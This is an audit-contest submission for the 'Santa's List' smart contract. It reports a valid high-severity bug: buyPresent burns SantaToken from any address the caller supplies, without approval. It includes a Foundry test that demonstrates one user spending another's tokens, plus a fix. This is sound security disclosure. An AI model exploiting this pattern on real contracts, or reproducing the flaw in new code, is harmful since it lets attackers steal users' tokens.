First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users can burn anybody's tokens to buy the NFT when calling 'SantasList.sol::buyPresents'

coffee

Summary

Anybody that holds any SantaToken is at risk of someone else burning their tokens to mint an NFT.

Vulnerability Details

When calling the 'SantasList.sol::buyPresents' function, any address can be input to burn tokens from and thus purchasing the NFT for free for the function caller. Any address that holds any SantaToken is at risk of losing their tokens because anybody could burn/redeem them for the NFT. In the 'SantasToken.sol::burn' function the address being burned from is the address input by the caller, but this is not necessarily the msg.sender of the 'SantasList.sol::buyPresents' function.

Impact

The below test passes as true showing that 'user2' can use/burn 'user's tokens to purchase the NFT for themselves.

function testCanSpendAnyonesTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
santasList.checkList(user2, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user2, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
​
vm.startPrank(user2);
santasList.collectPresent();
santasList.buyPresent(user);
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(user2), 2);
assertEq(santaToken.balanceOf(user2), 1e18);
vm.stopPrank();
}

Tools Used

--Foundry

Recommendations

It is recommended to change the logic in the 'SantasList.sol::buyPresents' function to check if the input address is the same as the msg.sender.

function buyPresent(address presentReceiver) external {
+ if (msg.sender != presentReceiver) {
+ revert SantasList__InputAddressIsNotMsgSender();
+ }
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.